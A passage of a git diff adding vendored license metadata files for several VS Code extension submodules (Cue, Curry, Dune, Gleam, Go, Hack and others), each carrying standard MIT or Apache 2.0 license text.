+version: 0734615a2607fe03f5d6c1816f8f7435179659fc
+type: git_submodule
+homepage: https://github.com/cue-sh/vscode-cue
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2019 Andrew Hodges
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-curry.dep.yml b/vendor/licenses/git_submodule/vscode-curry.dep.yml
new file mode 100644
index 0000000000..ec4358dc6a
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-curry.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vscode-curry
+version: 0f43e53f5888dfed22dc777a45b4c9db99efe9ef
+type: git_submodule
+homepage: https://github.com/fwcd/vscode-curry
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2020 fwcd
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-dune.dep.yml b/vendor/licenses/git_submodule/vscode-dune.dep.yml
new file mode 100644
index 0000000000..6cc5147f1b
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-dune.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vscode-dune
+version: cd0c2057c24253bf1bfefc804ef496a30213960c
+type: git_submodule
+homepage: https://github.com/maelvls/vscode-dune.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2019 Maël Valais
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-euphoria.dep.yml b/vendor/licenses/git_submodule/vscode-euphoria.dep.yml
new file mode 100644
index 0000000000..30acbb854e
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-euphoria.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vscode-euphoria
+version: 2c8eb673910a27bd1924b2392ef400a40dd950b7
+type: git_submodule
+homepage: https://github.com/OpenEuphoria/vscode-euphoria
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |
+    MIT License
+
+    Copyright (c) 2020 OpenEuphoria Group
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-fluent.dep.yml b/vendor/licenses/git_submodule/vscode-fluent.dep.yml
new file mode 100644
index 0000000000..359f27c040
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-fluent.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vscode-fluent
+version: 9f2a1c1f39175c1d4da46e5a14f1b11c6d466b63
+type: git_submodule
+homepage: https://github.com/macabeus/vscode-fluent
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2021 macabeus
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-gcode-syntax.dep.yml b/vendor/licenses/git_submodule/vscode-gcode-syntax.dep.yml
new file mode 100644
index 0000000000..b578e416b3
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-gcode-syntax.dep.yml
@@ -0,0 +1,33 @@
+---
+name: vscode-gcode-syntax
+version: 85465f621309c49d1a6f37767975be8171c37bc5
+type: git_submodule
+homepage: https://github.com/appliedengdesign/vscode-gcode-syntax
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2022 Applied Engineering & Design
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+- sources: README.md
+  text: This extension is licensed under the [MIT License](https://opensource.org/licenses/MIT).
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-gedcom.dep.yml b/vendor/licenses/git_submodule/vscode-gedcom.dep.yml
new file mode 100644
index 0000000000..83943dfe5f
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-gedcom.dep.yml
@@ -0,0 +1,211 @@
+---
+name: vscode-gedcom
+version: 589dd258b12b5abde3a3d9355a44c4fbf61d5daf
+type: git_submodule
+homepage: https://github.com/fguitton/vscode-gedcom
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2020 Florian Guitton
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-gleam.dep.yml b/vendor/licenses/git_submodule/vscode-gleam.dep.yml
new file mode 100644
index 0000000000..527ee8f7a3
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-gleam.dep.yml
@@ -0,0 +1,221 @@
+---
+name: vscode-gleam
+version: 6ed1e8a5acb5c4dbe2d44fe7d01d835ddc09cc9e
+type: git_submodule
+homepage: https://github.com/gleam-lang/vscode-gleam.git
+license: apache-2.0
+licenses:
+- sources: LICENSE.txt
+  text: |2
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+        TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+        1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+        2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+        3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+        4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+        5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+        6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+        7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+        8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+        9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+        END OF TERMS AND CONDITIONS
+
+        APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+        Copyright 2016 - present Louis Pilfold
+
+        Licensed under the Apache License, Version 2.0 (the "License");
+        you may not use this file except in compliance with the License.
+        You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+        Unless required by applicable law or agreed to in writing, software
+        distributed under the License is distributed on an "AS IS" BASIS,
+        WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+        See the License for the specific language governing permissions and
+        limitations under the License.
+
+
+
+    ## Runtime Library Exception to the Apache 2.0 License: ##
+
+
+        As an exception, if you use this Software to compile your source code and
+        portions of this Software are embedded into the binary product as a result,
+        you may redistribute such product without providing attribution as would
+        otherwise be required by Sections 4(a), 4(b) and 4(d) of the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-go.dep.yml b/vendor/licenses/git_submodule/vscode-go.dep.yml
new file mode 100644
index 0000000000..1b92462e24
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-go.dep.yml
@@ -0,0 +1,56 @@
+---
+name: vscode-go
+version: 725259766181b4be91ed84411d6ac564a5ab2e5a
+type: git_submodule
+homepage: https://github.com/golang/vscode-go
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    vscode-go
+
+    The MIT License (MIT)
+
+    Original Work Copyright (c) 2015-2020 Microsoft Corporation
+    Current Work and Modifications Copyright (c) 2020-present The Go Authors
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+- sources: README.md
+  text: |-
+    [MIT](LICENSE)
+
+    [Stack Overflow]: https://stackoverflow.com/questions/tagged/go+visual-studio-code
+    [`gopls`]: https://golang.org/s/gopls
+    [`go`]: https://golang.org/cmd/go
+    [Managing extensions in VS Code]: https://code.visualstudio.com/docs/editor/extension-gallery
+    [VS Code Go extension]: https://marketplace.visualstudio.com/items?itemName=golang.go
+    [Go installation guide]: https://golang.org/doc/install
+    ["Getting started with VS Code Go"]: https://youtu.be/1MXIGYrMk80
+    [IntelliSense]: https://github.com/golang/vscode-go/wiki/features#intellisense
+    [Code navigation]: https://github.com/golang/vscode-go/wiki/features#code-navigation
+    [Code editing]: https://github.com/golang/vscode-go/wiki/features#code-editing
+    [diagnostics]: https://github.com/golang/vscode-go/wiki/features#diagnostics
+    [testing]: https://github.com/golang/vscode-go/wiki/features#run-and-test-in-the-editor
+    [debugging]: https://github.com/golang/vscode-go/wiki/debugging#features
+    [full feature breakdown]: https://github.com/golang/vscode-go/wiki/features
+    [workspace documentation]: https://github.com/golang/tools/blob/master/gopls/doc/workspace.md
+    [`Go: Install/Update Tools` command]: https://github.com/golang/vscode-go/wiki/commands#go-installupdate-tools
+    [Supported workspace layouts documentation]: https://github.com/golang/tools/blob/master/gopls/doc/workspace.md
+    [Workspace Folders]: https://code.visualstudio.com/docs/editor/multi-root-workspaces
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-hack.dep.yml b/vendor/licenses/git_submodule/vscode-hack.dep.yml
new file mode 100644
index 0000000000..c149689fd5
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-hack.dep.yml
@@ -0,0 +1,212 @@
+---
+name: vscode-hack
+version: a1093df0bf994184f98ebe62e321367410260a66
+type: git_submodule
+homepage: https://github.com/slackhq/vscode-hack
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    MIT License
+
+    Copyright (c) 2016-present Pranay Agarwal
+    Copyright (c) 2016-present Slack Technologies, Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
